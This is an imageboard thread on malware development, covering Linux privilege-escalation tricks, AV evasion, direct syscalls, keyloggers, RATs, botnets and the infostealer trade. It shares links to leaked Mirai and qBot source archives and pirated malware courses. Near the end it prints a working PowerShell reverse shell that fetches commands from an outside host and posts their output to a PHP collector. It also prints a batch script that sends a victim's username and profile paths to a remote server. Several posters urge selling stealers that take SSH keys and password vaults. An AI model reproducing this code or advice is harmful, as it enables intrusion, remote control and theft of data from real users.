>>18517 >Malware for Linux is so much easier and pleasant to write, Yes, probably. Win32 API is trash_Wex2() > thanks to Linux's soykaf security What are you talking about? Linux as modern protections against exploitation. ASLR, KASLR, Stack Canaries, W^X, A MAC System, and Capabilities System, Syscall filtering with SECCOMP. What is missing? Or are you just talking about old embedded systems that disable that soykaf?

>>18519 Not the anon you asked, but there's a lot of big footguns accepted as common practice among Linux users. I'll preface this by saying I'm an idiot and I don't know much about security, it's just a passing interest to me. Hopefully someone else can turn up and tell me i'm full of soykaf. Example 1: Being in the docker user group (common on dev machines for ez life) allows you to escalate to a root shell via docker run -v /:/mnt --rm -it alpine chroot /mnt sh Example 2: Environment is sometimes kept when using sudo, so any SUID script calling external programs by name rather than path (e.g. cp foo bar rather than /bin/cp foo bar ) can be susceptible to exporting a modified PATH with e.g. a shell binary named "cp" to have that run as root instead of the intended program. Depends on how your distro has defaults for sudo setup. Example 3: Modifying PATH is common for devs who install software that isn't packaged by their distro, and (iirc) XDG even specifies ~/.local/bin for this purpose. So you have a user-writeable location that may (depending on setup) take precedence over other PATH locations. It would be trivial to write a sudo wrapper to transparently steal the password while behaving identically to sudo Example 4: SELinux. Technically capable of hardening Linux quite well, I've heard. A real-world issue I've had with it was not being able to setup fail2ban to read logs from inside a docker volume. As with most SELinux issues the most commonly 'accepted' answer on SO etc for this is setenforce 0 . The second most common is to cat audit.log | audit2allow and create a new rule for this problem. Undiscoverable and unintuitive UX¹ leading to the two most common solutions being either to disable SELinux or allow whatever was being blocked as a blanket rule. To this day SELinux is a problem when mounting dirs rather than volumes with docker, or sharing volumes between containers under certain circumstances. Example 5: No antivirus. Right now we might not need one, but sooner or later we will. Linux has gained a decent slice of devs as a preferred OS over the past decade and they make a very juicy target for credential stealing, access to corporate networks, and ransomware. Currently there's no heuristic detection to prevent any of the behaviour in previous examples being blocked (which would be an ez heuristic too, as they're mostly dodgy things to attempt). ClamAV is not a real antivirus. Perhaps something like Kaspersky for Linux is okay, but it's hard to tell given the wider community doesn't bother with it. Example 6: A lot of black magic gets accepted without scrutiny, and users arrogantly assume things are safe/secure because a lot of people do it. In this case I'm talking about SSH agent forwarding. There's no shortage of "helpful" bloggers and forum/SO posters suggesting to enable it. The socket it creates can be written to by you or root, allowing access to any hosts the agent could access. No issue on your own machine because if it's already been rooted then gg, but this counts for the intermediary you're connecting to. If you use a server as a jumpbox to connect to other machines and it gets owned (even just your own account on it, not root), then any host that your agent stores acceptable keys for can now be accessed. Example 7: Stuffing credentials into env vars, handling them as cli args, or printing them to terminals. Cli args can be read by any user, and env vars of other processes can be read by the process owner or root. http://www.linuxmisc.com/3-solaris/6baea7bc14a8811b.htm It has been known that passing credentials around in cli args or env vars was a bad idea since at least the late 90s, but I've personally encountered plenty of software that expects credentials to be passed in like this. Tools such as GNU Pass printing out plaintext passwords to hang around unencrypted in scrollback history and thus process memory of a terminal is not great either. Terminals are just all-around bad. Probably don't do anything important in tmux/screen. Everything-is-a-file and everything-is-text have their downsides. Semi-related, pretend to be another program to casual observer: https://unix.stackexchange.com/questions/403870/hide-arguments-to-program-without-source-code See also: reptyr Example 8: TCP or Unix sockets for IPC. No longer a linux-specific issue as a lot of modern apps open up a port for their wonky REST API, but a concern regardless. A lack of good cross-platform IPC approach and the ubiquity of web tech (e.g. more or less every lang having http server & json lib/api) has lead to a lot of services using local tcp ports to communicate between client/server apps. Unix sockets are bad enough as improper permissions can leave them wide open, but there's no restrictions on what user may connect to a local tcp port at all. Here's a real-world example of it being an issue on Linux: https://github.com/lensapp/lens/security/advisories/GHSA-x8mv-qr7w-4fm9 and another fun one for mac/windows: https://robertheaton.com/remote-code-execution-kensingtonworks/ The Linux kernel itself is reasonably secure, but the userspace tends to be a mess. Even though none of these are technical issues, the userspace tools you rely on are written by and for the people who accept this stuff. Things have a habit of being cobbled together with file sockets, dbus, and shell scripts, with security being an afterthought. Maybe some Linux users know the intricacies of ACLs, SELinux, nftables, capabilities etc. But most don't, and the second you start installing anything atop the base distro or tweaking things yourself the risk of opening up gaping security holes skyrockets. Honestly a lot of the nice workflows enabled by Linux were based around pipelining scripts and cron jobs, but doing anything like that now just seems a bit reckless unless you're willing to do a full security audit on it. Stuff like SilverBlue (immutable base install) or Qubes are a step in the right direction for security but most people don't bother with them specifically because they're often a pain to use for day-to-day stuff. The fragmentation of linux userspace libraries and lack of official APIs for tasks like credential management, IPC, and GUIs has been a blessing and a curse. Without the ability to pick and choose these things the desktop would've stagnated. But we've also not got anywhere near the scrutiny on projects like dbus/gnome-keyring/polkit as there is for the kernel. Example: https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919 > the user's password is kept in a session-child process spawned from the LightDM daemon. This can expose the credential in cleartext. All systems have bugs, but this should never have happened. I can't compare with and comment on mac/windows as I don't use them. For every two steps forward we take at least one backward in the linux ecosystem. No need for clever workarounds against ASLR/Stack canaries etc and doing code injection if you can just poke a misconfigured or insecure-by-default program and get root. ---- ¹The UX of configuring stuff like SELinux and ACLs is like kicking dead whales down the beach. If an application is stopped by SELinux then the error it presents will be completely generic. You'd have to dig through the audit logs to even realise SELinux was what caused the error. And you can't simply select some kind of "allow once" or "allow for this session" for rule violations, you need to craft a policy file. This might be fine for a server where you perform setup then only do maintenance/security, but I don't think it's granular enough for a desktop with changing requirements and flexible workflows.

>>18520 >No need for clever workarounds against ASLR/Stack canaries etc and doing code injection if you can just poke a misconfigured or insecure-by-default program and get root. We weren't talking about system administration, we were talking about platform exploit mitigation measures. Your list of security holes really are objections to various practices that are defensible and can go either way, a few of which I might even agree with. A few are more difficult to deal with than you imagine. For instance, Cross Platform IPC. Well, Sockets are cross platform IPC. You want to add authentication to that - how is non-trivial. The C Standard species absolutely NOTHING for working file system permissions because file system permissions are so platform dependent - POSIX ACLs, NFSv4 ACLs, Unix Traditional, Windows - even something as simple as the Unix Socket has file system permissions is actually decently complicated. Baking Authentication will inherently be platform dependent - and ironically in a way that likely depends abstractions that USE Sockets b/c Authentication has become centralized. However, there are non-authentication methods of securing sockets. You can use iptables features like 'owner' to allow or prevent UIDs from passing traffic to a socket. Or Force Out of Band Authentication for something like IPSEC or VPNs - which are often recommended. However, Given that there isn't a cross platform permission model, it seems unlikely any cross platform IPC mechanism with authentication will be baked into all platforms. Just use the security mechanisms we have for sockets. >Example: https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919 < the user's password is kept in a session-child process spawned from the LightDM daemon. This can expose the credential in cleartext. >All systems have bugs, but this should never have happened. Thats badly designed software. Ironically, windows did the something for years on purpose enabling Mimikatz recovery of plaintext passwords. I believe now they have finally either disabled it by default, or given you the option to disable it (at the expense of user re-entering password to authenticate to remote hosts) - but I am not a windows admin. Your post is an interesting list of reasonable objections which are not always 'problems per se', but I was talking about exploit mitigations.

>>14192 >Understanding Linux Malware >Emanuele Cozzi >https://reyammer.io/publications/2018_oakland_linuxmalware.pdf >We then present the results of the first large- >scale measurement study conducted on 10,548 malware samples >(collected over a time frame of one year) documenting detailed >statistics and insights that can help directing future work in the >area. >Section V - Under the Hood >ELF Manipulation >Persistence >Deception >Required Privileges >Packing And Polymorphism >Process Interaction >Evasion >Information Gathering >Libraries

>>14192 Good 9 part blog series I found a while ago focused mainly on evasion https://0xpat.github.io/Malware_development_part_1/

Any good leads/tips to get into keylogger programming? It's hard to find one that can register keystrokes from remote access, with remote management, etc. If a real project is what I need to do actual programming, then I've chose mine. Nobody talks about it, nobody has any information, it's kind of annoying. I'd just like to ask if some anon here has ANY material remotely related to this?

>>19013 It's mostly just about figuring how keyboard interrupts work on your OS of choice, and then choosing what layer of the technology stack you want to put your hook in. For linux, you can listen to xserver keyboard events without root, but this limits it to the display keystrokes. You could also do keylogging in the kernel to get keystokes across the whole OS, but that is a little bit more complicated. Then it's just about saving and exporting keystrokes. Truthfully though, if you just want to get passwords, there are other techniques to grab passwords - it's probably what you want, easier to deal with and with less extra junk data to sift through. Either way, that's how you'd start.

Any lains know where I might find some resources on making malware in rust, namely on creating bind and reverse shells? Ofc anything else malware-related if it's in Rust or Perl would be appreciated also. (Perl is the only other lang I know. I don't like Python).

>>19019 rust has an enormous runtime, so it would probably suck for malware dev.

>>19020 It doesn't, really. Rust has no_std and musl, just as an example. With proper optimization, I've gotten almost all of my payloads sub 50kb, with my stager sitting at around 18kb. Rust is easier to write in some respects and the output size is almost always smaller than, or comparable to any payload with equivalent functionality in C/C++ with msvc. Now, Golang on the other hand....

>>19022 >Now, Golang on the other hand.... What did you mean by this?

>>19025 Golang has a lot of things going for it as a maldev language such as cross compile and able to static link all libraries into a single binary. It's not used as often so it's easier to bypass av, the bad side is that file sizes are huge, easily in the 50-100mb https://tapendradev.medium.com/golang-the-new-malware-language-94097baae223

>>19026 >cross compile and able to static link all libraries into a single binary Doesn't Rust have both of those? >It's not used as often so it's easier to bypass av I don't think the compiled binary from different languages should be much different from POV of AV.

>>19027 Ideally you're right, but the problem is the Golang runtime being so fuarrrking massive does make reversing and analyzing a lot harder. Depending on the runtime for "obfuscation" is kind of a crutch imo, but I can't deny it's validity in getting something past av. EDR products out there are getting a lot better with heuristic analysis (for whatever the fuarrrk that phrase is worth), so looking for non-traditional techniques and features (NINA, Gargoyle / Gargoyle + encrypting heaps, syswhispers, etc) is going to be better for the longevity of your payload on the target than picking an obscure language just to use VirtualAllocEx+WPM+CreateRemoteThread. No language is invalid, though, and it all really depends on your use-case; what you're targeting and how. >>19026 this is basically what I meant in >>19022 I just find that it's easier for me to implement certain features in C+ASM / Rust than it is in Golang, which is why I prefer it. I will say Golang was a lot easier to learn. That's a preeeeeetty damn good contributing factor.

>>19015 Thanks for the reply, anon. >if you just want to get passwords Yep, also that. My idea is to monitor what a certain not so trustworthy supplier is doing in my server, passwords included. >there are other techniques to grab passwords Other than phishing and bruteforcing, I know none. Would you be so kind to share?

>>19030 > Other than phishing and bruteforcing, I know none. Would you be so kind to share? Look up stealers and bankers.

https://courses.zero2auto.com/beginner-bundle anyone tried this?

>>19045 I just got it, haven't had time to dig into it yet.

>>14192 Fascinating thread, and thanks for the links. I learned a lot.

anyone got a copy of black hat Rust they wouldn't mind sharing here?

>>19231 https://libgen.rocks/ads.php?md5=BE7AF8A42588D955B424714099701B17

>>19232 Thanks a bunch, lainon!

>>14192 Hey, I got tired on working on web exploitation and i want to work more on low level stuff, I know x86 assembly, C language, Go lang and python, I worked a bit on reverse engineering, I'm wondering if i should learn binary exploitation before movie to malware Dev (i have basic knowledge about pwn) . I'm not sure how to start exactly, either to do malware analysis to understand how it works before moving to development or to do binary exploitation, i'm really confused help me lainaons

>>19063 So am I, always wanted to find some content like this.

>>16001 I placed this syscall project on the backburner for a over a year, and I'm happy to say I managed to finish it while learning a ton of other things along the way, thanks to your huge contributions. Just wanted to say thank you so much. I focused on understanding and porting the SysWhispers project, basically what I ended up with was, 1) Catalogue all the ntdll.dll Zw* native APIs on runtime, with info such as: - Hash of API name - its address in ntdll.dll - its syscall number - the offset between the API's address and the syscall opcode (e.g. 0x12 for Windows 10, 0x8 for Windows 8) 2) Wrote a bunch of Zw* prototype functions that load the function hash into a register 3) These prototype functions call a helper function which loads all the necessary parameters like syscall number, a random Zw* syscall address, etc onto registers, perform the syscall by jumping into ntdll's syscall address, etc It's a simplification but I learned lots of things along the way and it felt super satisfying. Now I'll be looking into this TEB deal that you're mentioning just to learn more.

>>21072 Damn, I haven't seen this thread in ages. Glad you got a lot out of the project and happy to help :)

>>14192 Where can I gather information on writing a RAT? My goal is to be able to intercept e-mails in my domestic network. I'm a cybersecurity hobbyist.

>>21082 Are you already familiar with a programming language? If not, I'd start by getting comfortable with one. It's hard to tell what you mean by "intercept emails", it could mean anything, A) Infecting a PC with malware, using said malware to hook the functions in the email client that are in charge of sending / downloading emails, maybe to do some alterations on the fly B) Infecting a PC with malware, using said malware to exfiltrate the local database that holds the emails C) Infecting a PC with malware, with the intention of inspecting email network traffic happening in the network, maybe with some ARP poisoning, but probably useless if the email clients connect to the servers via SSL

>>21083 I'm learning C++, and I'm proficient Linux user. I want to infect a PC with malware, using said malware to inspect email network traffic (My goal is to be able to download/read) - my domestic network is running its email server through outlook.

>>21085 sounds like what you want is to sniff network traffic happening between other devices on the network. Check out bettercap to get a hands on experience with that kind of thing, and replicate the functionality that interests you in your malware. I'm not an expert at that kind of thing, but if I were to guess, you'd want to ARP spoof the network to pretend your infected PC is the email server, and harvest credentials from other devices in the network. If there's any kind of SSL involved in how clients connect to the server, you're kinda fuarrrked, though. Email clients are likely to show up a big alert that the user has to dismiss, or it simply won't work at all.

I'd like to build a hobby project similar to VirusTotal, in order to test dynamic and static AV detections. I found a project that kinda does that but it's only for static stuff, https://github.com/volodymyrsmirnov/MalwareMultiScan My idea would be to setup a web interface which interacts with Proxmox/VirtualBox/etc to manage the VM's state, snapshots, etc. using the API offered by those hypervisors, and qemu-guest-agent to interact directly with the VM's OS, in order to upload malware, run it, take screenshots, gather other information, check if it was detected, etc For most of the topics related to the Web interface, Hypervisor, Guest management, etc I have some idea of how I could do the things I need, however, I'm kinda lost when it comes to interacting with the AV, - How could I detect from outside the VM that a sample has been caught by an AV? Assuming I have access to the VM's memory for manipulation, reading, etc A simple file existence check would be unreliable, since some malware can just copy itself to another location and execute again. Checking if the executable is running would also be kinda unreliable for similar reasons. I thought of just setting a 'timeout' period and taking screenshots periodically until that time runs out, and aggregating them in a report, as a simple solution, but I was wondering if there are more precise methods like hooking up functions in the AV to alert whenever something is detected. Surely that would come with more problems too because the AV might be checking itself for those alterations, but it would be really nice because I can use that technique to check a sample indefinitely in case it has some dormant period or stuff like that. Any ideas?

>>21129 Perhaps you could integrate ClamAV's SDK with Frida instrumentation? WMI may also work as well. I'm sure you're already aware but you'll need a robust virtual environment to avoid anti-sandbox/vm techniques.

>>21140 I was thinking of utilizing major AV solutions, like Defender, Avast, AVG, Kaspersky, F-Secure, and all that, most of which don't even offer options to scan files statically from the command line, let alone more advanced functionality like the ability to use a callback whenever some malware is detected. Although that might be possible if I hack something together with Frida, like hooking the functions that are in charge of showing a GUI warning to the user whenever something is detected. I'll look into that, thanks for that tip about Frida! A potential poor man's / fool implementation of this, that I just thought of, was implementing a simple software that monitors the GUI for a specific window class or title (e.g. an AV raising a detection warning in a window), and whenever it matches something, I could use the Windows UI Automation API to collect the text contents of the window (e.g., detected malware file path, name of detection, etc) I know it's definitely possible without all the bells and whistles that VirusTotal has, I Just need to determine what's the best approach that won't give me too many headaches

gotta love working in security

>>21146 oooooh I see what you mean yeah, that's a tricky one. Shit, I mean most consumer AVs out there are using the SDKs from Bitdefender, Avira, Kaspersky, or Avast. They might be cost prohibitive but I have no idea so that could potentially be an option? Even Acronis uses bd's minifilter driver.

i'm trying to study linux malware and idek where to start i know mirai and pony are popular but what is used for a c2? how do attackers manage rootkits and that sort of thing? i can't find much on it.

>>21157 Do tell(change the details ofc so you don't dox yourself)

Hello everybody , I hope you are all doing fine. This is just a little story in which a dear person of this world has a tumor at his liver and the person is not doing well any longer. Due to the important cluster of expertise of some people in this univers and on the web. The following philosophical question has risen. In the advent of an actor wanting to create a funny file or do some funny trials&error on an infrastructure . Having enough devices to set up a c2 and is equipped with more or less crude knowledge. What kind of advices would you give to that individual. This thread doesn't have for scope to waste anyone's time, however the actor would need some guidance or help. Thank you

>>21467 >In the advent of an actor wanting to create a funny file or do some funny trials&error on an infrastructure For what porpoise? You certainly don't mean Infrastructure like utilities. That would be super ghey. Like most things however, you would either be super dumb, or a faggit for asking on a anime girl fanpage how to be a terrorist. That being said, most infrastructure systems have been heavily secured because of people thinking it would be funny to turn off the water fluoride thats makes the frogs gay. A lot of systems also have custom software and you would have to know a lot about SCADA systems. You'd be better off writing a memoir about your life knowledge then spending the rest of your days in a jail cell for the lulz

well friend is not that type of infrastructure i was aiming more towards normal corporations and web.

>>21468 >You'd have to know a lot about scada systems >There's only two kinds Nothing is difficult, motivation is far harder to achieve then any product thereof. As for OPs funny, do something innocent, pervasive, and out of place. Like your face or voice somewhere it shouldn't be, en masse, but also discrete, so that it lives longer then you will.

>>21157 >Letting anyone near your servers ever huge mistake

I been looking over the net without any luck; What program is used to hide the exe in some pdf? -Thanks in advance

I've been working on a UEFI bootkit for a while now, it's coming along fine, however, now that I've started adding the network communication it's an immense pain in the ass to debug. Do I really have to get a JTAG debugger or is there any other way?

>>14192 I have a LOT of Mirai and qBot sources, and they're just rotting on my HDD. Anybody interested? qBot folder is around 31.8 Mib and Mirai folder is around 426.9 MiB. And I've yet to sort another 5.1 GiB of stuff (non-IoT bot too)

>>21845 pdfs can't have embedded exe files in background, there was older windows ability to do so (packing multiple files into one, then making exe run in background), but all never windows after XP asks "do you want to run this" before doing so..... What you can do is look for older Adobe exploit and pray to God that your victim doesn't update, most of them don't

>>22473 not him but cant they have javascript

>>22472 I'd like to have a look at it.

>>22475 https://files.catbox.moe/n5bjy5.xz here ya go. it doesn't include the unsorted folder yet, as that has some really private stuff that i might sell in the future

>>14217 >I was looking at LOIC on GH and I saw an option to opt in to volunteer my machine as a bot. Now I am interested. I would like to join a botnet. Anyone got any lead on how to do that? holy soykaf i refuse to believe this is real. hahahahahahahaha

>>18193 I've stewed on the same idea for a while now. Why *don't* botnets use public key crypto & p2p to avoid setting up seize-able infrastructure? Turns out, some already do, though the details of how they are implemented usually turn up scarce. Anylain have a link to recent blog posts/writeups/papers/source code on recent botnets of this nature? The closest I've gotten is the akamai blog post on FritzFrog, but it doesn't get to the level of detail I want. Is the Mirai source worth looking over or is that old news by now?

>>23162 reporting back. Searched through academic journals for more info on P2P architectures, but the bulk of the literature focuses on detecting botnets. Found vormayr2017 to be a good introduction, academically dry though it is. Stop reading when you get to the final part on taxonomy. Then I remembered google scholar exists (should've been the first place I looked) and found this one: yin2017. Finally! A description of how bots maintain their peer lists, and in the context of pollution attacks to boot. These articles are still five years old, though. Hungry for more info as always.

>>22632 >Because I have an idle machine with unlimited bandwidth and it would help the botnet people. Wtf I'm dying

>>22480 is this safe to open in a VM? or can it escape and affect my host system

>>16559 Replying two years later, the software dev market salary is now soykaf and jobs are imploding. The commies were right, gay crime is the only way out.

Give me some beginner projects ideas

>>23350 >Infectors >Packer with reflective injection >Sacrificial Process Injection >Direct System Calls I think these are good to open up the door to working on stuff. There are tons of blogs talking about these, fuarrrk even look up old phrack/24a/etc stuff. For the direct syscall peep Am0nsec's HellsGate paper from XVUG.

>>23222 Lmfao how much you want to bet he just reused the same password every time he stood his box back up? This kid thinks he fuarrrking Jack Reacher.

>>23351 Thanks, I made a simple wiper as a start and combining it with an infector seems pretty fun. >>23352 The ending statement about fortnite really is the cherry on the cake

What is the most common way criminals spread malware nowadays? Is it mostly through phishing or they just lurk for vulnerable targets on shodan?

Does anyone know where to pirate copies of the MalDev Academy or Sektor7 courses on malware development? I'm certainly not going to pay hundreds for such a course and give them my personal info, Alternatively, do you know any freely accessible curriculums where topics in malware development are listed in order with links to resources for learning about them and little exercises? I would be interested in starting to compile something like that along the way of learning, but it would be easier if something like this already existed as written by people with experience. A starting point could be the topics mentioned on https://maldevacademy.com/syllabus

>>23628 It depends heavily on the type of malware. There are loads of soykafware stealers out there that propagate through malicious mods/free robux type scams. For the most part, I've seen a lot of initial access payloads through phishing or some form of exploitation where groups either find 0-days, exploit n-days, or just troll shodan like you suggested. Of course we can't forget cred stuffing and the like on publicly exposed anything. Anything deployed for post-ex after that point is as good as anyone's guess as far as the staging mechanisms.

>>24064 https://mega.nz/file/gWMCUYDQ#xZBeBeZmyMw3t6zK2xRjIoaJ-cEGFsrVH3PpcfutAF0

If i wanted to corrupt a file beyond recoverability (or at least within a rate of 90%) as fast as possible, how many bytes should have to be messed with? Or should I go for a certain percentage?

So what's the post exploitation malware lainons use? What's the best RAT or framework in current year?

I was wondering if any lainons knew any forums on i2p. By this point I need to talk to actual maldevs, but everywhere I look on IRC or Tor, it's either skids or whitehat corporate bootheels telling me to "just use metasploit" or old users telling me I have a good mind and shouldn't waste it on crime - the dramaqueens. Everywhere I look for walkthroughs of how to code malware from scratch never get into the nitty gritty and all the books just say to look at CVE's and go from there. Am I the only one completely stumped at the lack of intricate and available knowledge for how to program an executable from scratch that runs one a Windows 11 machine once it's downloaded? Whatever happened to .bat privilege escalation bugs?

>>24201 I will preface this by saying I do not make and have never made malware, viruses, trojans, or any other similar software. That being said, to my understanding, malware is just a program. You will, of course, want your malware to do specific things. For that, you can just research how to implement those things. Searching for walkthroughs or guides on making malware will at best land you among those script kiddies that everyone talks about. I suggest planning your malware thoroughly before writing a line of code. Unless it's just a fun challenge, winging it will not get you far. Learn by doing. As a starting point, get familiar with writing networking code, as you will 100% need it. Then perhaps research the ways Windows Defender works (trial and error is best for this). Defender itself is not very good at its job, you just need to prevent the user from receiving a "WARNING UNTRUSTED EXECUTABLE BLAH BLAH" and you're good. The Windows API is not secret and the documentation is your best friend. tl;dr just start writing something yourself, one feature at a time. >how to make an auto running executable >how to escalate privileges That's government agency level knowledge, so you can't Aaaaaaand post!

>>24205 No, I know all of that. It's just isn't it weird that after almost two decades of hackers being kinda mainstream, that no one's made an actual book or blog of substance about it? If you look, it's nothing but skids and corporate bootheel whitehat reddit users who lack drive. Kevin Mitnick wrote books on the subject, but if you pay close attention, he's actually a pathological liar, and this coincidentally aided in, obviously, developing his habits to break into places under false identities. Certain events in his books directly contradict his own previously given testimonies on said events (The doughnuts in the fridge for the FBI is the most obvious but least consequential example). So even big names in the scene don't really offer up knowledge and most who claim to obviously have more incentives to sell a product than to make sure they know their soykaf. My point is, where are the Phinaes Phisher-esque maldev textfile blogs, walking through newbs to depart actual substantial knowledge to prevent skids and to help make real hackers? Mentors don't exist on IRC. I've looked. >that's government agency level knowledge, so you can't I at least know enough by this point to refute your claim. Priv escalation is pretty common and a rudimentary part of any CTF challenge (I fuarrrking hate CTF people. The thrill is so artificial). Other than that, you're right. I guess I just have to look at Windows internals myself. It's just annoying given how much more democratized this info should be.

>>24209 >No, I know all of that. It's just isn't it weird that after almost two decades of hackers being kinda mainstream, that no one's made an actual book or blog of substance about it? That's your fault to be honest, the blogs exist. >My point is, where are the Phinaes Phisher-esque maldev textfile blogs vxug, tmpout, individual blogs, etc > walking through newbs to depart actual substantial knowledge to prevent skids and to help make real hackers? Mentors don't exist on IRC. I've looked. Nobody's gonna hold your hand, start writing code and reversing malware obsessively. None of us got where we are by being spoon-fed knowledge. >I guess I just have to look at Windows internals myself. What was the alternative you expected? It's really simple, I don't understand how so many people get caught up on this. Literally just read the API documentation, OS internals, start reversing ntdll, ntoskrnl, win32k, kernelbase, etc, and write as much code as you can possibly handle.

I wonder if anyone has tried to develop malware that is meant to go after AI databases.

>>24213 and why would you do that?

>>24214 Facial identification and tracking. Image identification to identify dissenting images and documents. Would be surprising if no one felt threatened enough to make an offensive move.

>>24210 >That's your fault to be honest, the blogs exist. Maybe, but every blog I find is from some whitehat bootheel who splurges on about how "dangerous" a piece of malware is and they only ever analyze parts of it, never the whole thing, and there don't seem to be many guides on how to go about writing from the ground up, from what I've seen and finding them is arduous at best. Tidbits of insight are only so useful when you're not given opportunity to understand them in their complete contextual frame. >vxug, tmpout, individual blogs, etc This and >>24205 >That's government agency level knowledge, so you can't lead me to believe you don't actually know as much as you either think you do, or at least as much as you claim. Most of the links on vxug are broken and don't work over Tor. The malware directly there is uncategorized 7zip archives and its not even organized by programming language, and I've seen larger collections on github. I'm not sure what your angle is but I'm inclined to suspect it's ego. Plus, auto-running executeables aren't NSA-tier. The reason I asked for advice on where to find good resources is mostly because search functions are getting worse after decades of SEO. I hope someone fixes YaCy soon. >What was the alternative you expected? Nothing alternative, just the desire to have a guide to fall back on as a safety net for when I get stumped completely. Why make my way blind in the dark when others should have mapped the way? it's just an honest desire to pursue an ambition with greatest efficiency that should be logically available to me. I feel that's reasonable. >OS internals, ntdll, ntoskrnl, win32k, kernelbase Okay thanks. This helps me put together a study plan.

>>24213 Most hacking is just breaking into things that happen to be vulnerable not actually targeting specific organizations.

>>24216 >Maybe, but every blog I find is from some whitehat bootheel who splurges on about how "dangerous" a piece of malware is and they only ever analyze parts of it, never the whole thing, and there don't seem to be many guides on how to go about writing from the ground up, from what I've seen and finding them is arduous at best. Tidbits of insight are only so useful when you're not given opportunity to understand them in their complete contextual frame. Hah! Very good point, fair. In retrospect I suppose it's easy to say "you just need to know where to look" when I've been collecting bookmarks and following people for almost a decade. >Why make my way blind in the dark when others should have mapped the way? it's just an honest desire to pursue an ambition with greatest efficiency that should be logically available to me. I feel that's reasonable. That's an entirely reasonable point, but aside from the garbage "maldev" courses out there that aren't worth what they're charging there's lots of free content. It goes without saying, I guess, that you need to learn about the thing to know what you even want to learn about the thing. Btw I am >>24210 and not >>24205, I didn't write that post either. >That's government agency level knowledge, so you can't idefk what that means. Regarding vxug links being broken, I did not know it was an issue. I've only downloaded and reversed things in piecemeal usually as they get announced and stored in the archives. >Nothing alternative, just the desire to have a guide to fall back on as a safety net for when I get stumped completely. Very fair point. I sympathize with this as writeups were how I learned from CTFs. This makes me reconsider my original stance, and I realize that I came off as extremely snarky in my first post. That being said something I'd like to rephrase is that maldev is not about writing malware, it's about writing good software that does things other people don't like. In order to write good software to be evasive in a hostile environment you need a core understanding of how AV works, why it does what it does, what telemetry it gathers, the host OS security features, and what you can manipulate given your privilege level to circumvent those measures. This might include (among many other things I fail to mention): * ETW * AMSI * VMS/HVCI * FS Minifilter/Object/Process/etc kernel callbacks * Hooking techniques * Exploit mitigations etc, etc, the list is too long to even try to go on. The depth and breadth of stuff you need to know to write purposefully written malware can be daunting. Truth be told the cheating scene blows the malware scene out of the water quite severely. Unknowncheats has amazing forum posts, and I'd absolutely recommend lurking/reading regularly.

>>24225 >Btw I am >>24210 and not >>24205, I didn't write that post either. Oh, my bad then. >This makes me reconsider my original stance, and I realize that I came off as extremely snarky in my first post. Then I'd like to apologize for my overly aggressive response in that case. I've just been growing frustrated with the scene and the personalities it tends to draw. If there's one thing that annoys me, it's people purporting to know more than they really do while spreading FUD to dissuade others from being inquisitive by saying something's impossible - because that just holds back everyone. >I've been collecting bookmarks and following people for almost a decade. Any reccs for how to find those niche mom & pop blogs about malware? I'm guessing it's just searching Wilby and Neocities for specific technical terms relating to AV evasion? Know any good sites for perl or .bat related stuff? >I guess that you need to learn about the thing to know what you even want to learn about the thing. This is a good point. I find that this is often true. >That being said something I'd like to rephrase is that maldev is not about writing malware, it's about writing good software that does things other people don't like. In order to write good software to be evasive in a hostile environment you need a core understanding of how AV works, why it does what it does, what telemetry it gathers, the host OS security features, and what you can manipulate given your privilege level to circumvent those measures. Very well put. I think that's a good way to look at it. >The depth and breadth of stuff you need to know to write purposefully written malware can be daunting. Truth be told the cheating scene blows the malware scene out of the water quite severely. Unknowncheats has amazing forum posts, and I'd absolutely recommend lurking/reading regularly. Thanks for the list, I really appreciate it, and the recc for cheats. I'm a little annoyed I didn't think of that myself haha.

>>24201 yeah, it's hard to find good communities that lean into the grey/blackhat side of maldev. I used to be in one, but thanks to some slip ups in the past I decided to move away permanently. also, it was hosted on Discord, another reason why I moved way. anyways, if you know of any, let me know, thanks

writing malware seems doable to me, building c&c infrastructure maybe a little more difficult. what is really disheartening to me is actually spreading it by exploiting vulnerabilities in software, unless i just steal exploits, seems an insurmountable task.

>>24590 just let the skiddies do it for you, get some partners who have good contacts. you write the 1337 code, and you relax while they spread it.

>>24638 yeah honestly soykafty infostealers sell for a few hundred to thousand per month just believe in yourself and write a stealer lmao

I wrote a simple Reverse Shell for Windows Power Shell. It wgets a file on the web and uses its content as a command, so you can simply command the shell by changing the content of the text file. The output of that command is then sent via POST method as a variable "msg" to a simple php script that stores it somewhere. while($true) { powershell.exe (wget http://freetext.wz.cz/CnC/cnc.txt).Content $RetVal = powershell.exe (wget http://freetext.wz.cz/CnC/cnc.txt).Content | Out-String $postParams = @{msg=$RetVal;} Invoke-WebRequest -Uri freetext.wz.cz/CnC/output.php -Method POST -Body $postParams Start-Sleep -Seconds 5 }

>>24667 Of course if you put this into a file and send it to someone, if he tries to run it, the powershell will block it as an untrusted script unfortuantelly, so it's not very useful. No idea how to get around that. Also even if you somehow managed to make it run, it would run in the open for the user to see what's happening and he could easily stop it by closing the powershell window, lol.

>>24667 And before somebody asks why have I designed it this way: The point was to make a reverse shell, which can be controlled by content of some files on the web, so I can use a free-webhosting service as a C&C server.

>>24667 And for lazy people, here's an example what a simple output.php file might look like: <?php $msg = $_POST['msg']; $msg = htmlentities($msg); $msg = nl2br($msg); $opdat = fopen("responses.htm", "a+"); fwrite($opdat, $msg); fwrite($opdat, "<br>"); fclose($opdat); ?>

Simple batch script to get somebody's windows username and post it online (Again you need to set up simple post.php script, which is the same thing as the output.php in the previous example.) Also I bet you didn't see Batch, HTML and Javascript combined in this way before. echo off cls set a=%USERNAME% set b=%USERPROFILE% set c=%LOCALAPPDATA% set d=%HOMEPATH% set e=%APPDATA% cd C:\Program Files (x86)\Microsoft\Edge\Application\ msedge.exe "data:text/html;charset=UTF-8,<form action="http://freetext.wz.cz/CopTrap/post.php" method="POST"><textarea name="msg" id="textpole">%a%&nbsp;&nbsp;&nbsp;&nbsp;%b%&nbsp;&nbsp;&nbsp;&nbsp;%c%&nbsp;&nbsp;&nbsp;&nbsp;%d%&nbsp;&nbsp;&nbsp;&nbsp;%e%</textarea><input id='subbut' type='submit' value='Submit'></form><script>document.getElementById('subbut').click();</script>" pause

>>24665 the infostealer business is crowded, unless you can steal more than what others do, you aren't gonna get customers. so, don't just skid some popular FOSS stealer and call it a day; improve the anti {static,dynamic} reverse engineering and all that soykaf, add more stealing capabilities, make a stealer for Linux (ssh keys, password vaults, look for plaintext files containing keywords etc etc).

>>24675 How would i manage to have people rent my malware. They could just keep it and then share it with others, no?

